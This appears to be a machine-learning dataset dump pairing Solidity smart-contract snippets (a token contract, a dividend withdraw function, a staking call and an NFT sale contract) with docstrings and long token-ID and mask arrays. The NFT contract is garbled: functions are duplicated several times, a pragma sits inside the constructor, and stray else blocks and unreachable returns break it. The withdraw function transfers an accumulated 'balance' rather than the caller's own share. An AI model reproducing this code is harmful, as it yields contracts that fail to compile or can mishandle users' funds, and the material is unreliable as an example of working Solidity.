amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
Withdraws all dividends held by the caller sending the transaction, updates the requisite global variables, and transfers Ether back to the caller.
function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); }
253,682
[ 1, 1190, 9446, 87, 777, 3739, 350, 5839, 15770, 635, 326, 4894, 5431, 326, 2492, 16, 4533, 326, 10780, 291, 1137, 2552, 3152, 16, 471, 29375, 512, 1136, 1473, 358, 326, 4894, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 598, 9446, 12, 2867, 358, 13, 1071, 288, 203, 202, 202, 430, 12, 869, 422, 374, 92, 12648, 12648, 12648, 12648, 12648, 262, 95, 203, 1082, 202, 869, 273, 1234, 18, 15330, 31, 203, 202, 202, 97, 203, 202, 202, 313, 1200, 298, 1211, 12, 3576, 18, 15330, 1769, 203, 1082, 203, 203, 202, 202, 11890, 5034, 293, 1861, 1584, 44, 273, 293, 1861, 63, 3576, 18, 15330, 15533, 203, 202, 202, 84, 1861, 63, 3576, 18, 15330, 65, 273, 374, 31, 203, 202, 202, 313, 1200, 298, 3495, 3947, 293, 1861, 1584, 44, 31, 203, 203, 202, 202, 12296, 1011, 293, 1861, 1584, 44, 31, 203, 202, 202, 869, 18, 13866, 12, 12296, 1769, 203, 202, 202, 18356, 603, 39, 961, 7244, 350, 5839, 12, 3576, 18, 15330, 16, 869, 16, 12296, 1769, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5349E94435Cc9Cab9FfB40A492DA46935052733A/sources/cache/solpp-generated-contracts/zksync/facets/Mailbox.sol
address(0) denotes the ETH
IAllowList.Deposit memory limitData = IAllowList(s.allowList).getTokenDepositLimitData(address(0));
3,023,125
[ 1, 2867, 12, 20, 13, 5545, 6366, 326, 512, 2455, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 7009, 682, 18, 758, 1724, 3778, 1800, 751, 273, 467, 7009, 682, 12, 87, 18, 5965, 682, 2934, 588, 1345, 758, 1724, 3039, 751, 12, 2867, 12, 20, 10019, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xEBE0506b0481f873b12C0BCF423f6ad241C40ACc/sources/home/felipenovaesrocha/Projects/1Hive/staking/packages/protocol/contracts/Staking.sol
* @notice Stake `@tokenAmount(self.token(): address, _amount)` for `_user` @dev Callable only by a user @param _user Address to stake tokens to @param _amount Amount of tokens to be staked @param _data Optional data emitted with the Staked event, to add signalling information in more complex staking applications/
function stakeFor(address _user, uint256 _amount, bytes calldata _data) external { _stakeFor(msg.sender, _user, _amount, _data); }
11,619,229
[ 1, 510, 911, 1375, 36, 2316, 6275, 12, 2890, 18, 2316, 13332, 1758, 16, 389, 8949, 22025, 364, 1375, 67, 1355, 68, 225, 10464, 1338, 635, 279, 729, 225, 389, 1355, 5267, 358, 384, 911, 2430, 358, 225, 389, 8949, 16811, 434, 2430, 358, 506, 384, 9477, 225, 389, 892, 4055, 501, 17826, 598, 326, 934, 9477, 871, 16, 358, 527, 1573, 454, 310, 1779, 316, 1898, 7233, 384, 6159, 12165, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 1290, 12, 2867, 389, 1355, 16, 2254, 5034, 389, 8949, 16, 1731, 745, 892, 389, 892, 13, 3903, 288, 203, 3639, 389, 334, 911, 1290, 12, 3576, 18, 15330, 16, 389, 1355, 16, 389, 8949, 16, 389, 892, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x07880289bF4ba8060A4dd2bB26B6b9da4f511d74/sources/contracts/BlackandBlueCosmos.sol
Sales variables ------------------------------------------------------------------------ Dutch auction config Signer addresses ------------------------------------------------------------------------ State variables Using toggles to open/close sale ------------------------------------------------------------------------ Sale arrays ------------------------------------------------------------------------ URI variables ------------------------------------------------------------------------ Events ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ Modifiers ------------------------------------------------------------------------
contract BlackandBlueCosmos is ERC721EnumerableGasOptimization, EIP712 { using Strings for uint; uint256 public MAX_BBCS = 100; uint256 public MAX_BBCS_ON_TIER_SALE = 7; uint256 public BBC_PRICE = 0 ether; uint256 public auctionStartTimestamp; uint256 public auctionTimeStep; uint256 public auctionStartPrice; uint256 public auctionEndPrice; uint256 public auctionPriceStep; uint256 public auctionStepNumber; bool public isWhiteListSaleActive = false; bool public isPublicSaleActive = false; bool public isDutchAuctionActive = false; string private _baseTokenURI; event BaseTokenURIChanged(string baseTokenURI); event URIChanged(string tokenURI); event priceChanged(uint256 newTokenPrice); event supplyChanged(uint256 totalSupply,uint256 tierSupply, uint256 maxMintLimitPerTX); event BBCSMinted(address owner, uint256 numMint, uint256 totalSupply); constructor() ERC721GasOptimization("BlackandBlueCosmos", "BBC",0) EIP712("BlackandBlueCosmos", "1.0.0") pragma solidity ^0.8.7; {} modifier onlyWhiteListSale() { require(isWhiteListSaleActive, "WHITELIST_SALE_NOT_ACTIVE"); _; } modifier onlyPublicSale() { require(isPublicSaleActive, "PUBLIC_SALE_NOT_ACTIVE"); require(block.timestamp >= saleStartTimestamp && block.timestamp <= saleStopTimestamp, "NOT_IN_PUBLIC_SALE_TIME"); _; } modifier onlyDutchAuction() { require(isDutchAuctionActive, "DUTCH_AUCTION_NOT_ACTIVE"); _; } modifier callerIsUser() { require(tx.origin == msg.sender, "CALLER_IS_CONTRACT"); _; } function setTierSupply(uint256 _MAX_BBCS_ON_TIER_SALE, uint256 _MAX_MINT_PER_TX) external onlyOwner { require(_MAX_BBCS_ON_TIER_SALE <= MAX_BBCS,"TIER_SUPPLY_EXCEEDS_MAX_BBCS"); MAX_BBCS_ON_TIER_SALE = _MAX_BBCS_ON_TIER_SALE; MAX_MINT_PER_TX = _MAX_MINT_PER_TX; emit supplyChanged(MAX_BBCS,_MAX_BBCS_ON_TIER_SALE, _MAX_MINT_PER_TX); } function setMaxSupply(uint256 _MAX_BBCS) external onlyOwner { MAX_BBCS = _MAX_BBCS; emit supplyChanged(_MAX_BBCS,MAX_BBCS_ON_TIER_SALE,MAX_MINT_PER_TX); } function setPrice(uint256 _BBC_PRICE) external onlyOwner { BBC_PRICE = _BBC_PRICE; emit priceChanged(_BBC_PRICE); } function setWhiteListSaleStatus(bool _isWhiteListSaleActive) external onlyOwner { require(isWhiteListSaleActive != _isWhiteListSaleActive,"SETTING_TO_CURRENT_STATE"); isWhiteListSaleActive = _isWhiteListSaleActive; } function setPublicSale(bool _isPublicSaleActive,uint256 _saleStartTimestamp,uint256 _saleStopTimestamp) external onlyOwner { require(isPublicSaleActive != _isPublicSaleActive || saleStartTimestamp!=_saleStartTimestamp || saleStopTimestamp!=_saleStopTimestamp, "SETTING_CURRENT_PUBLIC_SALE_CONFIG"); isPublicSaleActive = _isPublicSaleActive; saleStartTimestamp = _saleStartTimestamp; saleStopTimestamp = _saleStopTimestamp; } function setDutchAuctionStatus(bool _isDutchAuctionActive) external onlyOwner { require(isDutchAuctionActive != _isDutchAuctionActive,"SETTING_TO_CURRENT_STATE"); isDutchAuctionActive = _isDutchAuctionActive; } function setDutchAuction( uint256 _auctionStartTimestamp, uint256 _auctionTimeStep, uint256 _auctionStartPrice, uint256 _auctionEndPrice, uint256 _auctionPriceStep, uint256 _auctionStepNumber ) external onlyOwner { auctionStartTimestamp = _auctionStartTimestamp; auctionTimeStep = _auctionTimeStep; auctionStartPrice = _auctionStartPrice; auctionEndPrice = _auctionEndPrice; auctionPriceStep = _auctionPriceStep; auctionStepNumber = _auctionStepNumber; } function getDutchAuctionPrice() public view returns (uint256) { require(isDutchAuctionActive, "DUTCH_AUCTION_NOT_ACTIVE"); if (block.timestamp < auctionStartTimestamp) { return auctionStartPrice; uint256 step = (block.timestamp - auctionStartTimestamp) / auctionTimeStep; if (step > auctionStepNumber) { step = auctionStepNumber; } if (auctionStartPrice > step * auctionPriceStep){ return auctionStartPrice - step * auctionPriceStep; return auctionEndPrice; } } } function getDutchAuctionPrice() public view returns (uint256) { require(isDutchAuctionActive, "DUTCH_AUCTION_NOT_ACTIVE"); if (block.timestamp < auctionStartTimestamp) { return auctionStartPrice; uint256 step = (block.timestamp - auctionStartTimestamp) / auctionTimeStep; if (step > auctionStepNumber) { step = auctionStepNumber; } if (auctionStartPrice > step * auctionPriceStep){ return auctionStartPrice - step * auctionPriceStep; return auctionEndPrice; } } } } else { function getDutchAuctionPrice() public view returns (uint256) { require(isDutchAuctionActive, "DUTCH_AUCTION_NOT_ACTIVE"); if (block.timestamp < auctionStartTimestamp) { return auctionStartPrice; uint256 step = (block.timestamp - auctionStartTimestamp) / auctionTimeStep; if (step > auctionStepNumber) { step = auctionStepNumber; } if (auctionStartPrice > step * auctionPriceStep){ return auctionStartPrice - step * auctionPriceStep; return auctionEndPrice; } } } function getDutchAuctionPrice() public view returns (uint256) { require(isDutchAuctionActive, "DUTCH_AUCTION_NOT_ACTIVE"); if (block.timestamp < auctionStartTimestamp) { return auctionStartPrice; uint256 step = (block.timestamp - auctionStartTimestamp) / auctionTimeStep; if (step > auctionStepNumber) { step = auctionStepNumber; } if (auctionStartPrice > step * auctionPriceStep){ return auctionStartPrice - step * auctionPriceStep; return auctionEndPrice; } } } } else { function isWhiteListSaleEligible(uint256 _MAX_CLAIMED_ON_WHITELIST_SALE, uint256 _START_MINT_TIMESTAMP, uint256 _STOP_MINT_TIMESTAMP, bytes memory _SIGNATURE) public view returns (bool){ address recoveredAddr = ECDSA.recover(_hashTypedDataV4(keccak256(abi.encode( keccak256("VERIFY(address addressForWhiteListSale,uint256 maxClaimedOnWhiteListSale,uint256 startTimestamp,uint256 stopTimestamp)"), _msgSender(), _MAX_CLAIMED_ON_WHITELIST_SALE, _START_MINT_TIMESTAMP, _STOP_MINT_TIMESTAMP ))), _SIGNATURE); return _signer == recoveredAddr; } function mintWhiteListSaleBBCS( uint256 quantity, uint256 _MAX_CLAIMED_ON_WHITELIST_SALE, uint256 _START_MINT_TIMESTAMP, uint256 _STOP_MINT_TIMESTAMP, bytes memory _SIGNATURE ) external payable onlyWhiteListSale callerIsUser { require(isWhiteListSaleEligible(_MAX_CLAIMED_ON_WHITELIST_SALE, _START_MINT_TIMESTAMP, _STOP_MINT_TIMESTAMP, _SIGNATURE), "NOT_ELIGIBLE_FOR_WHITELIST_SALE"); require(block.timestamp >= _START_MINT_TIMESTAMP && block.timestamp <= _STOP_MINT_TIMESTAMP, "NOT_ON_WHITELIST_SALE_MINTING_TIME"); require(quantity > 0 && whiteListSaleClaimed[ msg.sender ] + quantity <= _MAX_CLAIMED_ON_WHITELIST_SALE, "EXCEEDS_MAX_CLAIMED_NUM_ON_ADDR_OR_BELOW_ONE"); require(BBC_PRICE * quantity == msg.value, "SENDING_INVALID_ETHERS"); require(totalSupply() + quantity <= MAX_BBCS, "EXCEEDS_MAX_SUPPLY"); uint supply = totalSupply(); for(uint i=0; i < quantity; i++){ _mint( msg.sender, supply+i ); } whiteListSaleClaimed[msg.sender] += quantity; } function mintWhiteListSaleBBCS( uint256 quantity, uint256 _MAX_CLAIMED_ON_WHITELIST_SALE, uint256 _START_MINT_TIMESTAMP, uint256 _STOP_MINT_TIMESTAMP, bytes memory _SIGNATURE ) external payable onlyWhiteListSale callerIsUser { require(isWhiteListSaleEligible(_MAX_CLAIMED_ON_WHITELIST_SALE, _START_MINT_TIMESTAMP, _STOP_MINT_TIMESTAMP, _SIGNATURE), "NOT_ELIGIBLE_FOR_WHITELIST_SALE"); require(block.timestamp >= _START_MINT_TIMESTAMP && block.timestamp <= _STOP_MINT_TIMESTAMP, "NOT_ON_WHITELIST_SALE_MINTING_TIME"); require(quantity > 0 && whiteListSaleClaimed[ msg.sender ] + quantity <= _MAX_CLAIMED_ON_WHITELIST_SALE, "EXCEEDS_MAX_CLAIMED_NUM_ON_ADDR_OR_BELOW_ONE"); require(BBC_PRICE * quantity == msg.value, "SENDING_INVALID_ETHERS"); require(totalSupply() + quantity <= MAX_BBCS, "EXCEEDS_MAX_SUPPLY"); uint supply = totalSupply(); for(uint i=0; i < quantity; i++){ _mint( msg.sender, supply+i ); } whiteListSaleClaimed[msg.sender] += quantity; } function mintPublicSaleBBCS(uint256 quantity) external payable onlyPublicSale callerIsUser { require(quantity > 0 && quantity <= MAX_MINT_PER_TX, "EXCEEDS_MAX_MINT_PER_TX_OR_BELOW_ONE"); require(totalSupply() + quantity <= MAX_BBCS_ON_TIER_SALE, "EXCEEDS_MAX_CLAIMED_NUM_ON_PUBLIC_SALE"); require(BBC_PRICE * quantity == msg.value, "SENDING_INVALID_ETHERS"); uint supply = totalSupply(); for(uint i=0; i < quantity; i++){ _mint( msg.sender, supply+i ); } } function mintPublicSaleBBCS(uint256 quantity) external payable onlyPublicSale callerIsUser { require(quantity > 0 && quantity <= MAX_MINT_PER_TX, "EXCEEDS_MAX_MINT_PER_TX_OR_BELOW_ONE"); require(totalSupply() + quantity <= MAX_BBCS_ON_TIER_SALE, "EXCEEDS_MAX_CLAIMED_NUM_ON_PUBLIC_SALE"); require(BBC_PRICE * quantity == msg.value, "SENDING_INVALID_ETHERS"); uint supply = totalSupply(); for(uint i=0; i < quantity; i++){ _mint( msg.sender, supply+i ); } } function mintDutchAuctionBBCS(uint quantity) external payable onlyDutchAuction callerIsUser { require(totalSupply() + quantity <= MAX_BBCS_ON_TIER_SALE, "EXCEEDS_MAX_CLAIMED_NUM_ON_DUTCH_AUCTION"); require(quantity > 0 && quantity <= MAX_MINT_PER_TX, "EXCEEDS_MAX_MINT_PER_TX_OR_BELOW_ONE"); require(getDutchAuctionPrice() * quantity <= msg.value, "SENDING_INSUFFICIENT_ETHERS"); uint supply = totalSupply(); for(uint i=0; i < quantity; i++){ _mint( msg.sender, supply+i ); } } function mintDutchAuctionBBCS(uint quantity) external payable onlyDutchAuction callerIsUser { require(totalSupply() + quantity <= MAX_BBCS_ON_TIER_SALE, "EXCEEDS_MAX_CLAIMED_NUM_ON_DUTCH_AUCTION"); require(quantity > 0 && quantity <= MAX_MINT_PER_TX, "EXCEEDS_MAX_MINT_PER_TX_OR_BELOW_ONE"); require(getDutchAuctionPrice() * quantity <= msg.value, "SENDING_INSUFFICIENT_ETHERS"); uint supply = totalSupply(); for(uint i=0; i < quantity; i++){ _mint( msg.sender, supply+i ); } } function ownerClaimBBCS(uint256 quantity, address addr) external onlyOwner { require(totalSupply() + quantity <= MAX_BBCS, "EXCEEDS_MAX_SUPPLY"); uint supply = totalSupply(); for(uint256 i=0; i < quantity; i++){ _mint( addr, supply+i ); } } function ownerClaimBBCS(uint256 quantity, address addr) external onlyOwner { require(totalSupply() + quantity <= MAX_BBCS, "EXCEEDS_MAX_SUPPLY"); uint supply = totalSupply(); for(uint256 i=0; i < quantity; i++){ _mint( addr, supply+i ); } } function ownerClaimCBBCIds(uint256[] memory id, address addr) external onlyOwner { for(uint i=0; i < id.length; i++){ _mint( addr, id[i]); } } function ownerClaimCBBCIds(uint256[] memory id, address addr) external onlyOwner { for(uint i=0; i < id.length; i++){ _mint( addr, id[i]); } } function setURI(string calldata __tokenURI) external onlyOwner { _baseTokenURI = __tokenURI; emit BaseTokenURIChanged(__tokenURI); } function tokenURI(uint256 tokenId) external view virtual override returns (string memory) { require(_exists(tokenId), "TOKEN_NOT_EXISTS"); return string(abi.encodePacked(_baseTokenURI, tokenId.toString())); } function _beforeTokenTransfer(address from, address to, uint tokenId) internal override { if( from != address(0) ){ --_balances[from]; } if( to != address(0) ){ ++_balances[to]; } } function _beforeTokenTransfer(address from, address to, uint tokenId) internal override { if( from != address(0) ){ --_balances[from]; } if( to != address(0) ){ ++_balances[to]; } } function _beforeTokenTransfer(address from, address to, uint tokenId) internal override { if( from != address(0) ){ --_balances[from]; } if( to != address(0) ){ ++_balances[to]; } } function setSigner(address __signer) external onlyOwner { require(__signer != address(0), "SETTING_ZERO_ADDRESS"); require(_signer != __signer, "SETTING_CURRENT_ADDRESS"); _signer = __signer; } function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } }
17,131,117
[ 1, 23729, 3152, 8879, 17082, 463, 322, 343, 279, 4062, 642, 16763, 6138, 8879, 17082, 3287, 3152, 11637, 6316, 75, 1040, 358, 1696, 19, 4412, 272, 5349, 8879, 17082, 348, 5349, 5352, 8879, 17082, 3699, 3152, 8879, 17082, 9043, 8879, 17082, 11417, 8879, 17082, 3431, 3383, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 22467, 464, 27986, 39, 538, 26719, 353, 4232, 39, 27, 5340, 3572, 25121, 27998, 13930, 1588, 16, 512, 2579, 27, 2138, 288, 203, 203, 565, 1450, 8139, 364, 2254, 31, 203, 203, 203, 565, 2254, 5034, 1071, 4552, 67, 9676, 4596, 273, 2130, 31, 203, 565, 2254, 5034, 1071, 4552, 67, 9676, 4596, 67, 673, 67, 23240, 654, 67, 5233, 900, 273, 2371, 31, 203, 203, 565, 2254, 5034, 1071, 605, 16283, 67, 7698, 1441, 273, 374, 225, 2437, 31, 7010, 203, 203, 203, 565, 2254, 5034, 1071, 279, 4062, 1685, 4921, 31, 7010, 565, 2254, 5034, 1071, 279, 4062, 950, 4160, 31, 203, 565, 2254, 5034, 1071, 279, 4062, 1685, 5147, 31, 203, 565, 2254, 5034, 1071, 279, 4062, 1638, 5147, 31, 203, 565, 2254, 5034, 1071, 279, 4062, 5147, 4160, 31, 203, 565, 2254, 5034, 1071, 279, 4062, 4160, 1854, 31, 203, 203, 203, 203, 203, 565, 1426, 1071, 353, 13407, 682, 30746, 3896, 273, 629, 31, 7010, 565, 1426, 1071, 19620, 30746, 3896, 273, 629, 31, 